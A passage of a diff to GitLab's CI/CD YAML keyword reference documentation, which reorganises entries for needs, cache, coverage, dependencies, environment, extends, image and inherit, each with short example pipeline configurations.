```
-In this example, `build_job` downloads the artifacts from the latest successful `build-1` job
-on the `main` branch in the `group/project-name` project.
-
-In GitLab 13.3 and later, you can use [CI/CD variables](../variables/index.md) in `needs:project`,
-for example:
-
-```yaml
-build_job:
- stage: build
- script:
- - ls -lhR
- needs:
- - project: $CI_PROJECT_PATH
- job: $DEPENDENCY_JOB_NAME
- ref: $ARTIFACTS_DOWNLOAD_REF
- artifacts: true
-```
+This example creates a cache for Ruby and Node.js dependencies. The cache
+is tied to the current versions of the `Gemfile.lock` and `package.json` files. When one of
+these files changes, a new cache key is computed and a new cache is created. Any future
+job runs that use the same `Gemfile.lock` and `package.json` with `cache:key:files`
+use the new cache, instead of rebuilding the dependencies.
**Additional details**:
-- To download artifacts from a different pipeline in the current project, set `project:`
- to be the same as the current project, but use a different ref than the current pipeline.
- Concurrent pipelines running on the same ref could override the artifacts.
-- The user running the pipeline must have at least the Reporter role for the group or project,
- or the group/project must have public visibility.
-- You can't use `needs:project` in the same job as [`trigger`](#trigger).
-- When using `needs:project` to download artifacts from another pipeline, the job does not wait for
- the needed job to complete. [Directed acyclic graph](../directed_acyclic_graph/index.md)
- behavior is limited to jobs in the same pipeline. Make sure that the needed job in the other
- pipeline completes before the job that needs it tries to download the artifacts.
-- You can't download artifacts from jobs that run in [`parallel:`](#parallel).
-- Support for [CI/CD variables](../variables/index.md) in `project`, `job`, and `ref` was
- [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) in GitLab 13.3.
- [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4.
-
-**Related topics**:
-
-- To download artifacts between [parent-child pipelines](../pipelines/parent_child_pipelines.md),
- use [`needs:pipeline:job`](#needspipelinejob).
+- The cache `key` is a SHA computed from the most recent commits
+that changed each listed file.
+ If neither file is changed in any commits, the fallback key is `default`.
-#### `needs:pipeline:job`
+##### `cache:key:prefix`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab 13.7.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab 12.5.
-A [child pipeline](../pipelines/parent_child_pipelines.md) can download artifacts from a job in
-its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy.
+Use `cache:key:prefix` to combine a prefix with the SHA computed for [`cache:key:files`](#cachekeyfiles).
-**Keyword type**: Job keyword. You can use it only as part of a job.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
**Possible inputs**:
-- `needs:pipeline`: A pipeline ID. Must be a pipeline present in the same parent-child pipeline hierarchy.
-- `job:`: The job to download artifacts from.
-
-**Example of `needs:pipeline:job`**:
-
-- Parent pipeline (`.gitlab-ci.yml`):
-
- ```yaml
- create-artifact:
- stage: build
- script: echo 'sample artifact' > artifact.txt
- artifacts:
- paths: [artifact.txt]
-
- child-pipeline:
- stage: test
- trigger:
- include: child.yml
- strategy: depend
- variables:
- PARENT_PIPELINE_ID: $CI_PIPELINE_ID
- ```
+- A string
+- A [predefined variables](../variables/index.md)
+- A combination of both.
-- Child pipeline (`child.yml`):
+**Example of `cache:key:prefix`**:
- ```yaml
- use-artifact:
- script: cat artifact.txt
- needs:
- - pipeline: $PARENT_PIPELINE_ID
- job: create-artifact
- ```
+```yaml
+rspec:
+ script:
+ - echo "This rspec job uses a cache."
+ cache:
+ key:
+ files:
+ - Gemfile.lock
+ prefix: $CI_JOB_NAME
+ paths:
+ - vendor/ruby
+```
-In this example, the `create-artifact` job in the parent pipeline creates some artifacts.
-The `child-pipeline` job triggers a child pipeline, and passes the `CI_PIPELINE_ID`
-variable to the child pipeline as a new `PARENT_PIPELINE_ID` variable. The child pipeline
-can use that variable in `needs:pipeline` to download artifacts from the parent pipeline.
+For example, adding a `prefix` of `$CI_JOB_NAME` causes the key to look like `rspec-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`.
+If a branch changes `Gemfile.lock`, that branch has a new SHA checksum for `cache:key:files`.
+A new cache key is generated, and a new cache is created for that key. If `Gemfile.lock`
+is not found, the prefix is added to `default`, so the key in the example would be `rspec-default`.
**Additional details**:
-- The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`).
- To download artifacts from a job in the current pipeline, use [`needs`](#needsartifacts).
-
-#### `needs:optional`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0.
-
-To need a job that sometimes does not exist in the pipeline, add `optional: true`
-to the `needs` configuration. If not defined, `optional: false` is the default.
+- If no file in `cache:key:files` is changed in any commits, the prefix is added to the `default` key.
-Jobs that use [`rules`](#rules), [`only`, or `except`](#only--except), might
-not always exist in a pipeline. When the pipeline is created, GitLab checks the `needs`
-relationships before starting it. Without `optional: true`, needs relationships that
-point to a job that does not exist stops the pipeline from starting and causes a pipeline
-error similar to:
+#### `cache:untracked`
-- `'job1' job needs 'job2' job, but it was not added to the pipeline`
+Use `untracked: true` to cache all files that are untracked in your Git repository:
-**Keyword type**: Job keyword. You can use it only as part of a job.
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
**Possible inputs**:
-- `job:`: The job to make optional.
- `true` or `false` (default).
-**Example of `needs:optional`**:
+**Example of `cache:untracked`**:
```yaml
-build:
- stage: build
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
-
rspec:
- stage: test
- needs:
- - job: build
- optional: true
+ script: test
+ cache:
+ untracked: true
```
-In this example:
+**Additional details**:
-- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec`
- job waits for it to complete before starting.
-- When the branch is not the default branch, the `build` job does not exist in the pipeline.
- The `rspec` job runs immediately (similar to `needs: []`) because its `needs`
- relationship to the `build` job is optional.
+- You can combine `cache:untracked` with `cache:paths` to cache all untracked files
+ as well as files in the configured paths. For example:
-#### `needs:pipeline`
+ ```yaml
+ rspec:
+ script: test
+ cache:
+ untracked: true
+ paths:
+ - binaries/
+ ```
-You can mirror the pipeline status from an upstream pipeline to a bridge job by
-using the `needs:pipeline` keyword. The latest pipeline status from the default branch is
-replicated to the bridge job.
+#### `cache:when`
-**Keyword type**: Job keyword. You can use it only as part of a job.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0.
+
+Use `cache:when` to define when to save the cache, based on the status of the job.
+
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
**Possible inputs**:
-- A full project path, including namespace and group. If the
- project is in the same group or namespace, you can omit them from the `project:`
- keyword. For example: `project: group/project-name` or `project: project-name`.
+- `on_success` (default): Save the cache only when the job succeeds.
+- `on_failure`: Save the cache only when the job fails.
+- `always`: Always save the cache.
-**Example of `needs:pipeline`**:
+**Example of `cache:when`**:
```yaml
-upstream_bridge:
- stage: test
- needs:
- pipeline: other/project
+rspec:
+ script: rspec
+ cache:
+ paths:
+ - rspec/
+ when: 'always'
```
-**Additional details**:
+This example stores the cache whether or not the job fails or succeeds.
-- If you add the `job` keyword to `needs:pipeline`, the job no longer mirrors the
- pipeline status. The behavior changes to [`needs:pipeline:job`](#needspipelinejob).
+#### `cache:policy`
-### `tags`
+To change the upload and download behavior of a cache, use the `cache:policy` keyword.
+By default, the job downloads the cache when the job starts, and uploads changes
+to the cache when the job ends. This caching style is the `pull-push` policy (default).
-> - A limit of 50 tags per job [enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/338929) in GitLab 14.3.
-> - A limit of 50 tags per job [enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/339855) in GitLab 14.3.
+To set a job to only download the cache when the job starts, but never upload changes
+when the job finishes, use `cache:policy:pull`.
-Use `tags` to select a specific runner from the list of all runners that are
-available for the project.
+To set a job to only upload a cache when the job finishes, but never download the
+cache when the job starts, use `cache:policy:push`.
-When you register a runner, you can specify the runner's tags, for
-example `ruby`, `postgres`, or `development`. To pick up and run a job, a runner must
-be assigned every tag listed in the job.
+Use the `pull` policy when you have many jobs executing in parallel that use the same cache.
+This policy speeds up job execution and reduces load on the cache server. You can
+use a job with the `push` policy to build the cache.
**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+[`default` section](#default).
**Possible inputs**:
-- An array of tag names.
-- [CI/CD variables](../runners/configure_runners.md#use-cicd-variables-in-tags) in GitLab 14.1 and later.
+- `pull`
+- `push`
+- `pull-push` (default)
-**Example of `tags`**:
+**Example of `cache:policy`**:
```yaml
-job:
- tags:
- - ruby
- - postgres
+prepare-dependencies-job:
+ stage: build
+ cache:
+ key: gems
+ paths:
+ - vendor/bundle
+ policy: push
+ script:
+ - echo "This job only downloads dependencies and builds the cache."
+ - echo "Downloading dependencies..."
+
+faster-test-job:
+ stage: test
+ cache:
+ key: gems
+ paths:
+ - vendor/bundle
+ policy: pull
+ script:
+ - echo "This job script uses the cache, but does not update it."
+ - echo "Running tests..."
```
-In this example, only runners with *both* the `ruby` and `postgres` tags can run the job.
+### `coverage`
-**Additional details**:
+Use `coverage` with a custom regular expression to configure how code coverage
+is extracted from the job output. The coverage is shown in the UI if at least one
+line in the job output matches the regular expression.
-- In [GitLab 14.3](https://gitlab.com/gitlab-org/gitlab/-/issues/338479) and later,
- the number of tags must be less than `50`.
+To extract the code coverage value in the matching line, GitLab uses this
+regular expression: `\d+(\.\d+)?`.
-**Related topics**:
+**Possible inputs**:
-- [Use tags to control which jobs a runner can run](../runners/configure_runners.md#use-tags-to-control-which-jobs-a-runner-can-run).
+- A regular expression. Must start and end with `/`.
-### `allow_failure`
+**Example of `coverage`**:
-Use `allow_failure` to determine whether a pipeline should continue running when a job fails.
+```yaml
+job1:
+ script: rspec
+ coverage: '/Code coverage: \d+\.\d+/'
+```
-- To let the pipeline continue running subsequent jobs, use `allow_failure: true`.
-- To stop the pipeline from running subsequent jobs, use `allow_failure: false`.
+In this example:
-When jobs are allowed to fail (`allow_failure: true`) an orange warning (**{status_warning}**)
-indicates that a job failed. However, the pipeline is successful and the associated commit
-is marked as passed with no warnings.
+1. GitLab checks the job log for a line that matches the regular expression. A line
+ like `Code coverage: 67.89` would match.
+1. GitLab then checks the line to find a match to `\d+(\.\d+)?`. The sample matching
+ line above gives a code coverage of `67.89`.
-This same warning is displayed when:
+**Additional details**:
-- All other jobs in the stage are successful.
-- All other jobs in the pipeline are successful.
+- If there is more than one matched line in the job output, the last line is used.
+- Leading zeros are removed.
+- Coverage output from [child pipelines](../pipelines/parent_child_pipelines.md)
+ is not recorded or displayed. Check [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/280818)
+ for more details.
-The default value for `allow_failure` is:
+### `dast_configuration` **(ULTIMATE)**
-- `true` for [manual jobs](../jobs/job_control.md#create-a-job-that-must-be-run-manually).
-- `false` for manual jobs that also use [`rules`](#rules).
-- `false` in all other cases.
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5981) in GitLab 14.1.
-**Keyword type**: Job keyword. You can use it only as part of a job.
+Use the `dast_configuration` keyword to specify a site profile and scanner profile to be used in a
+CI/CD configuration. Both profiles must first have been created in the project. The job's stage must
+be `dast`.
-**Possible inputs**: `true` or `false`.
+**Keyword type**: Job keyword. You can use only as part of a job.
-**Example of `allow_failure`**:
+**Possible inputs**: One each of `site_profile` and `scanner_profile`.
+
+- Use `site_profile` to specify the site profile to be used in the job.
+- Use `scanner_profile` to specify the scanner profile to be used in the job.
+
+**Example of `dast_configuration`**:
```yaml
-job1:
- stage: test
- script:
- - execute_script_1
+stages:
+ - build
+ - dast
-job2:
- stage: test
- script:
- - execute_script_2
- allow_failure: true
+include:
+ - template: DAST.gitlab-ci.yml
-job3:
- stage: deploy
- script:
- - deploy_to_staging
+dast:
+ dast_configuration:
+ site_profile: "Example Co"
+ scanner_profile: "Quick Passive Test"
```
-In this example, `job1` and `job2` run in parallel:
-
-- If `job1` fails, jobs in the `deploy` stage do not start.
-- If `job2` fails, jobs in the `deploy` stage can still start.
+In this example, the `dast` job extends the `dast` configuration added with the `include` keyword
+to select a specific site profile and scanner profile.
**Additional details**:
-- You can use `allow_failure` as a subkey of [`rules:`](#rulesallow_failure).
-- You can use `allow_failure: false` with a manual job to create a [blocking manual job](../jobs/job_control.md#types-of-manual-jobs).
- A blocked pipeline does not run any jobs in later stages until the manual job
- is started and completes successfully.
-
-#### `allow_failure:exit_codes`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9.
-
-Use `allow_failure:exit_codes` to control when a job should be
-allowed to fail. The job is `allow_failure: true` for any of the listed exit codes,
-and `allow_failure` false for any other exit code.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**:
-
-- A single exit code.
-- An array of exit codes.
+- Settings contained in either a site profile or scanner profile take precedence over those
+ contained in the DAST template.
-**Example of `allow_failure`**:
+**Related topics**:
-```yaml
-test_job_1:
- script:
- - echo "Run a script that results in exit code 1. This job fails."
- - exit 1
- allow_failure:
- exit_codes: 137
+- [Site profile](../../user/application_security/dast/index.md#site-profile).
+- [Scanner profile](../../user/application_security/dast/index.md#scanner-profile).
-test_job_2:
- script:
- - echo "Run a script that results in exit code 137. This job is allowed to fail."
- - exit 137
- allow_failure:
- exit_codes:
- - 137
- - 255
-```
+### `dependencies`
-### `when`
+Use the `dependencies` keyword to define a list of jobs to fetch [artifacts](#artifacts) from.
+You can also set a job to download no artifacts at all.
-Use `when` to configure the conditions for when jobs run. If not defined in a job,
-the default value is `when: on_success`.
+If you do not use `dependencies`, all artifacts from previous stages are passed to each job.
**Keyword type**: Job keyword. You can use it only as part of a job.
**Possible inputs**:
-- `on_success` (default): Run the job only when all jobs in earlier stages succeed
- or have `allow_failure: true`.
-- `manual`: Run the job only when [triggered manually](../jobs/job_control.md#create-a-job-that-must-be-run-manually).
-- `always`: Run the job regardless of the status of jobs in earlier stages.
-- `on_failure`: Run the job only when at least one job in an earlier stage fails.
-- `delayed`: [Delay the execution of a job](../jobs/job_control.md#run-a-job-after-a-delay)
- for a specified duration.
-- `never`: Don't run the job.
+- The names of jobs to fetch artifacts from.
+- An empty array (`[]`), to configure the job to not download any artifacts.
-**Example of `when`**:
+**Example of `dependencies`**:
```yaml
-stages:
- - build
- - cleanup_build
- - test
- - deploy
- - cleanup
+build osx:
+ stage: build
+ script: make build:osx
+ artifacts:
+ paths:
+ - binaries/
-build_job:
+build linux:
stage: build
- script:
- - make build
+ script: make build:linux
+ artifacts:
+ paths:
+ - binaries/
-cleanup_build_job:
- stage: cleanup_build
- script:
- - cleanup build when failed
- when: on_failure
+test osx:
+ stage: test
+ script: make test:osx
+ dependencies:
+ - build:osx
-test_job:
+test linux:
stage: test
- script:
- - make test
+ script: make test:linux
+ dependencies:
+ - build:linux
-deploy_job:
+deploy:
stage: deploy
- script:
- - make deploy
- when: manual
-
-cleanup_job:
- stage: cleanup
- script:
- - cleanup after jobs
- when: always
+ script: make deploy
```
-In this example, the script:
+In this example, two jobs have artifacts: `build osx` and `build linux`. When `test osx` is executed,
+the artifacts from `build osx` are downloaded and extracted in the context of the build.
+The same thing happens for `test linux` and artifacts from `build linux`.
-1. Executes `cleanup_build_job` only when `build_job` fails.
-1. Always executes `cleanup_job` as the last step in pipeline regardless of
- success or failure.
-1. Executes `deploy_job` when you run it manually in the GitLab UI.
+The `deploy` job downloads artifacts from all previous jobs because of
+the [stage](#stages) precedence.
**Additional details**:
-- In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/201938), you
- can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and
- earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
-- The default behavior of `allow_failure` changes to `true` with `when: manual`.
- However, if you use `when: manual` with [`rules`](#rules), `allow_failure` defaults
- to `false`.
-
-**Related topics**:
-
-- `when` can be used with [`rules`](#rules) for more dynamic job control.
-- `when` can be used with [`workflow`](#workflow) to control when a pipeline can start.
+- The job status does not matter. If a job fails or it's a manual job that isn't triggered, no error occurs.
+- If the artifacts of a dependent job are [expired](#artifactsexpire_in) or
+ [deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then the job fails.
### `environment`
@@ -1999,23 +1551,19 @@ environment.
Use the `action` keyword to specify jobs that prepare, start, or stop environments.
-| **Value** | **Description** |
-|-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. |
-| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). |
-| `stop` | Indicates that job stops deployment. See the example below. |
+**Keyword type**: Job keyword. You can use it only as part of a job.
-Take for instance:
+**Possible inputs**: One of the following keywords:
-```yaml
-review_app:
- stage: deploy
- script: make deploy-app
- environment:
- name: review/$CI_COMMIT_REF_SLUG
- url: https://$CI_ENVIRONMENT_SLUG.example.com
- on_stop: stop_review_app
+| **Value** | **Description** |
+|:----------|:----------------|
+| `start` | Default value. Indicates that the job starts the environment. The deployment is created after the job starts. |
+| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). |
+| `stop` | Indicates that the job stops a deployment. For more detail, read [Stop an environment](../environments/index.md#stop-an-environment). |
+
+**Example of `environment:action`**:
+```yaml
stop_review_app:
stage: deploy
variables:
@@ -2027,39 +1575,6 @@ stop_review_app:
action: stop
```
-In the above example, the `review_app` job deploys to the `review`
-environment. A new `stop_review_app` job is listed under `on_stop`.
-After the `review_app` job is finished, it triggers the
-`stop_review_app` job based on what is defined under `when`. In this case,
-it is set to `manual`, so it needs a [manual action](../jobs/job_control.md#create-a-job-that-must-be-run-manually) from
-the GitLab UI to run.
-
-Also in the example, `GIT_STRATEGY` is set to `none`. If the
-`stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment),
-the runner won't try to check out the code after the branch is deleted.
-
-The example also overwrites global variables. If your `stop` `environment` job depends
-on global variables, use [anchor variables](yaml_optimization.md#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
-to change the job without overriding the global variables.
-
-The `stop_review_app` job is **required** to have the following keywords defined:
-
-- `when`, defined at either:
- - [The job level](#when).
- - [In a rules clause](#rules). If you use `rules:` and `when: manual`, you should
- also set [`allow_failure: true`](#allow_failure) so the pipeline can complete
- even if the job doesn't run.
-- `environment:name`
-- `environment:action`
-
-Additionally, both jobs should have matching [`rules`](#only--except)
-or [`only/except`](#only--except) configuration.
-
-In the examples above, if the configuration is not identical:
-
-- The `stop_review_app` job might not be included in all pipelines that include the `review_app` job.
-- It is not possible to trigger the `action: stop` to stop the environment automatically.
-
#### `environment:auto_stop_in`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20956) in GitLab 12.8.
@@ -2185,1211 +1700,869 @@ The common use case is to create dynamic environments for branches and use them
as Review Apps. You can see an example that uses Review Apps at
<https://gitlab.com/gitlab-examples/review-apps-nginx/>.
-### `cache`
-
-Use `cache` to specify a list of files and directories to
-cache between jobs. You can only use paths that are in the local working copy.
-
-Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts).
-
-Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md).
-
-#### `cache:paths`
-
-Use the `cache:paths` keyword to choose which files or directories to cache.
+### `extends`
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](yaml_optimization.md#anchors)
+and is a little more flexible and readable.
-**Possible inputs**: An array of paths relative to the project directory (`$CI_PROJECT_DIR`).
-You can use wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
-patterns:
+**Keyword type**: Job keyword. You can use it only as part of a job.
-- In [GitLab Runner 13.0 and later](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620),
-[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
-- In GitLab Runner 12.10 and earlier,
-[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
+**Possible inputs**:
-**Example of `cache:paths`**:
+- The name of another job in the pipeline.
+- A list (array) of names of other jobs in the pipeline.
-Cache all files in `binaries` that end in `.apk` and the `.config` file:
+**Example of `extends`**:
```yaml
+.tests:
+ script: rake test
+ stage: test
+ only:
+ refs:
+ - branches
+
rspec:
- script:
- - echo "This job uses a cache."
- cache:
- key: binaries-cache
- paths:
- - binaries/*.apk
- - .config
+ extends: .tests
+ script: rake rspec
+ only:
+ variables:
+ - $RSPEC
```
-**Related topics**:
-
-- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
- `cache:paths` examples.
-
-#### `cache:key`
-
-Use the `cache:key` keyword to give each cache a unique identifying key. All jobs
-that use the same cache key use the same cache, including in different pipelines.
-
-If not set, the default key is `default`. All jobs with the `cache:` keyword but
-no `cache:key` share the `default` cache.
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**:
+In this example, the `rspec` job uses the configuration from the `.tests` template job.
+When creating the pipeline, GitLab:
-- A string.
-- A [predefined variables](../variables/index.md).
-- A combination of both.
+- Performs a reverse deep merge based on the keys.
+- Merges the `.tests` content with the `rspec` job.
+- Doesn't merge the values of the keys.
-**Example of `cache:key`**:
+The result is this `rspec` job:
```yaml
-cache-job:
- script:
- - echo "This job uses a cache."
- cache:
- key: binaries-cache-$CI_COMMIT_REF_SLUG
- paths:
- - binaries/
+rspec:
+ script: rake rspec
+ stage: test
+ only:
+ refs:
+ - branches
+ variables:
+ - $RSPEC
```
**Additional details**:
-- If you use **Windows Batch** to run your shell scripts you must replace
- `$` with `%`. For example: `key: %CI_COMMIT_REF_SLUG%`
-- The `cache:key` value can't contain:
-
- - The `/` character, or the equivalent URI-encoded `%2F`.
- - Only the `.` character (any number), or the equivalent URI-encoded `%2E`.
-
-- The cache is shared between jobs, so if you're using different
- paths for different jobs, you should also set a different `cache:key`.
- Otherwise cache content can be overwritten.
+- In GitLab 12.0 and later, you can use multiple parents for `extends`.
+- The `extends` keyword supports up to eleven levels of inheritance, but you should
+ avoid using more than three levels.
+- In the example above, `.tests` is a [hidden job](../jobs/index.md#hide-jobs),
+ but you can extend configuration from regular jobs as well.
**Related topics**:
-- You can specify a [fallback cache key](../caching/index.md#use-a-fallback-cache-key)
- to use if the specified `cache:key` is not found.
-- You can [use multiple cache keys](../caching/index.md#use-multiple-caches) in a single job.
-- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
- `cache:key` examples.
-
-##### `cache:key:files`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab 12.5.
-
-Use the `cache:key:files` keyword to generate a new key when one or two specific files
-change. `cache:key:files` lets you reuse some caches, and rebuild them less often,
-which speeds up subsequent pipeline runs.
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**: An array of one or two file paths.
-
-**Example of `cache:key:files`**:
-
-```yaml
-cache-job:
- script:
- - echo "This job uses a cache."
- cache:
- key:
- files:
- - Gemfile.lock
- - package.json
- paths:
- - vendor/ruby
- - node_modules
-```
-
-This example creates a cache for Ruby and Node.js dependencies. The cache
-is tied to the current versions of the `Gemfile.lock` and `package.json` files. When one of
-these files changes, a new cache key is computed and a new cache is created. Any future
-job runs that use the same `Gemfile.lock` and `package.json` with `cache:key:files`
-use the new cache, instead of rebuilding the dependencies.
-
-**Additional details**:
-
-- The cache `key` is a SHA computed from the most recent commits
-that changed each listed file.
- If neither file is changed in any commits, the fallback key is `default`.
-
-##### `cache:key:prefix`
+- [Reuse configuration sections by using `extends`](yaml_optimization.md#use-extends-to-reuse-configuration-sections).
+- Use `extends` to reuse configuration from [included configuration files](yaml_optimization.md#use-extends-and-include-together).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab 12.5.
+### `image`
-Use `cache:key:prefix` to combine a prefix with the SHA computed for [`cache:key:files`](#cachekeyfiles).
+Use `image` to specify a Docker image that the job runs in.
**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+[`default` section](#default).
-**Possible inputs**:
+**Possible inputs**: The name of the image, including the registry path if needed, in one of these formats:
-- A string
-- A [predefined variables](../variables/index.md)
-- A combination of both.
+- `<image-name>` (Same as using `<image-name>` with the `latest` tag)
+- `<image-name>:<tag>`
+- `<image-name>@<digest>`
-**Example of `cache:key:prefix`**:
+**Example of `image`**:
```yaml
+default:
+ image: ruby:3.0
+
rspec:
- script:
- - echo "This rspec job uses a cache."
- cache:
- key:
- files:
- - Gemfile.lock
- prefix: $CI_JOB_NAME
- paths:
- - vendor/ruby
+ script: bundle exec rspec
+
+rspec 2.7:
+ image: registry.example.com/my-group/my-project/ruby:2.7
+ script: bundle exec rspec
```
-For example, adding a `prefix` of `$CI_JOB_NAME` causes the key to look like `rspec-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`.
-If a branch changes `Gemfile.lock`, that branch has a new SHA checksum for `cache:key:files`.
-A new cache key is generated, and a new cache is created for that key. If `Gemfile.lock`
-is not found, the prefix is added to `default`, so the key in the example would be `rspec-default`.
+In this example, the `ruby:3.0` image is the default for all jobs in the pipeline.
+The `rspec 2.7` job does not use the default, because it overrides the default with
+a job-specific `image` section.
-**Additional details**:
+**Related topics**:
-- If no file in `cache:key:files` is changed in any commits, the prefix is added to the `default` key.
+- [Run your CI/CD jobs in Docker containers](../docker/using_docker_images.md).
-#### `cache:untracked`
+#### `image:name`
-Use `untracked: true` to cache all files that are untracked in your Git repository:
+The name of the Docker image that the job runs in. Similar to [`image`](#image) used by itself.
**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+[`default` section](#default).
-**Possible inputs**: `true` or `false` (default).
+**Possible inputs**: The name of the image, including the registry path if needed, in one of these formats:
-**Example of `cache:untracked`**:
+- `<image-name>` (Same as using `<image-name>` with the `latest` tag)
+- `<image-name>:<tag>`
+- `<image-name>@<digest>`
+
+**Example of `image:name`**:
```yaml
-rspec:
- script: test
- cache:
- untracked: true
+image:
+ name: "registry.example.com/my/image:latest"
```
-**Additional details**:
-
-- You can combine `cache:untracked` with `cache:paths` to cache all untracked files
- as well as files in the configured paths. For example:
+**Related topics**:
- ```yaml
- rspec:
- script: test
- cache:
- untracked: true
- paths:
- - binaries/
- ```
+- [Run your CI/CD jobs in Docker containers](../docker/using_docker_images.md).
-#### `cache:when`
+#### `image:entrypoint`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0.
+Command or script to execute as the container's entry point.
-Use `cache:when` to define when to save the cache, based on the status of the job.
+When the Docker container is created, the `entrypoint` is translated to the Docker `--entrypoint` option.
+The syntax is similar to the [Dockerfile `ENTRYPOINT` directive](https://docs.docker.com/engine/reference/builder/#entrypoint),
+where each shell token is a separate string in the array.
**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+[`default` section](#default).
**Possible inputs**:
-- `on_success` (default): Save the cache only when the job succeeds.
-- `on_failure`: Save the cache only when the job fails.
-- `always`: Always save the cache.
+- A string.
-**Example of `cache:when`**:
+**Example of `image:entrypoint`**:
```yaml
-rspec:
- script: rspec
- cache:
- paths:
- - rspec/
- when: 'always'
+image:
+ name: super/sql:experimental
+ entrypoint: [""]
```
-This example stores the cache whether or not the job fails or succeeds.
+**Related topics**:
-#### `cache:policy`
+- [Override the entrypoint of an image](../docker/using_docker_images.md#override-the-entrypoint-of-an-image).
-To change the upload and download behavior of a cache, use the `cache:policy` keyword.
-By default, the job downloads the cache when the job starts, and uploads changes
-to the cache when the job ends. This caching style is the `pull-push` policy (default).
+### `inherit`
-To set a job to only download the cache when the job starts, but never upload changes
-when the job finishes, use `cache:policy:pull`.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207484) in GitLab 12.9.
-To set a job to only upload a cache when the job finishes, but never download the
-cache when the job starts, use `cache:policy:push`.
+Use `inherit` to [control inheritance of globally-defined defaults and variables](../jobs/index.md#control-the-inheritance-of-default-keywords-and-global-variables).
-Use the `pull` policy when you have many jobs executing in parallel that use the same cache.
-This policy speeds up job execution and reduces load on the cache server. You can
-use a job with the `push` policy to build the cache.
+#### `inherit:default`
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+Use `inherit:default` to control the inheritance of [default keywords](#default).
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
**Possible inputs**:
-- `pull`
-- `push`
-- `pull-push` (default)
+- `true` (default) or `false` to enable or disable the inheritance of all default keywords.
+- A list of specific default keywords to inherit.
-**Example of `cache:policy`**:
+**Example of `inherit:default`**:
```yaml
-prepare-dependencies-job:
- stage: build
- cache:
- key: gems
- paths:
- - vendor/bundle
- policy: push
- script:
- - echo "This job only downloads dependencies and builds the cache."
- - echo "Downloading dependencies..."
+default:
+ retry: 2
+ image: ruby:3.0
+ interruptible: true
-faster-test-job:
- stage: test
- cache:
- key: gems
- paths:
- - vendor/bundle
- policy: pull
- script:
- - echo "This job script uses the cache, but does not update it."
- - echo "Running tests..."
+job1:
+ script: echo "This job does not inherit any default keywords."
+ inherit:
+ default: false
+
+job2:
+ script: echo "This job inherits only the two listed default keywords. It does not inherit 'interruptible'."
+ inherit:
+ default:
+ - retry
+ - image
```
-### `dependencies`
+**Additional details**:
